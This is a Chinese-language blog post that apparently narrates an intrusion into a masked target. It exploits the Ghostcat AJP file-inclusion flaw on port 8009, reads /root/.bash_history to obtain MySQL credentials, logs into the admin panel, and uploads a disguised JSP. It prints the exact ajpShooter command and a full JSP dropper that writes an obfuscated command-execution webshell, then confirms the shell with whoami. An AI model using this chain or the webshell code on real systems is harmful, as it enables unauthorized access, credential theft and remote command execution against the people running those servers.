第一步还是简单的信息搜集,通过ARL扫描整个链子,发现在某个IP存在8009协议并且开启了ajp服务,可能存在文件包含。

image-20231205084603419

遂利用工具进行测试

image-20231205084716613

确实存在文件包含

因为该站点为java站点,所以权限很高,尝试读取/root/.bash_history文件

image-20231205084906539

获取到mysql的帐号和密码

因为该服务器有开放3306端口,遂通过navicat进行连接,获取到该系统的帐号和密码

image-20231205085005158

接下来就是通过登录到后台,将木马的jsp代码放入在txt中,上传后再通过ajp进行包含运行

上传后得到的文件路径为 /admin/upload/*/*/*.txt

https://github.com/00theway/Ghostcat-CNVD-2020-10487

ajp文件包含利用工具

python.exe .\ajpShooter.py http://xx.xx.xx.xx  8009 /admin/upload/*/*/*.txt eval

包含的jsp代码功能为在当前目录写出一个木马

<%@ page import="java.io.*" %>
<%@ page contentType="text/html;charset=UTF-8" %>
<html>
<head>
    <title>写入文本</title>
</head>
<body>
<%
    String content = "\u003c\u0025 String A9U5H = request.getParameter(\"cmd\"); if(A9U5H!=null){Class<?> CS67 = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}));java.lang.reflect.Method Eje027vN = CS67.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);Object GYVzlJ71 = Eje027vN.invoke( CS67.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null, new Object[]{}), new Object[]{A9U5H});java.lang.reflect.Method Qd5n = GYVzlJ71.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));Qd5n.setAccessible(true);java.util.Scanner s = new java.util.Scanner((java.io.InputStream) Qd5n.invoke(GYVzlJ71, new Object[]{})).useDelimiter(\"\\\\A\");String result = s.hasNext() ? s.next() : \"\";out.print(\"<pre>\");out.print(result);out.print(\"</pre>\");}else{} \u0025\u003e";
    String fileName = "lalala.jsp";

    try {
    // 获取当前目录路径
    String currentDir = application.getRealPath("/");

    // 构造文件对象
    File file = new File(currentDir, fileName);

    // 创建文件输出流
    FileOutputStream fos = new FileOutputStream(file);

    // 创建写入器
    OutputStreamWriter osw = new OutputStreamWriter(fos, "UTF-8");

    // 创建缓冲区写入器
    BufferedWriter bw = new BufferedWriter(osw);

    // 写入文本内容
    bw.write(content);

    // 关闭写入器
    bw.close();

    out.println("文本写入成功!");
    } catch (IOException e) {
    out.println("文本写入失败:" + e.getMessage());
    }
%>
</body>
</html>

生成后访问/lalala.jsp?cmd=whoami

image-20231205085459655

成功getshell

#none
更新于: 2023年12月23日 11:21
1306
0
发表评论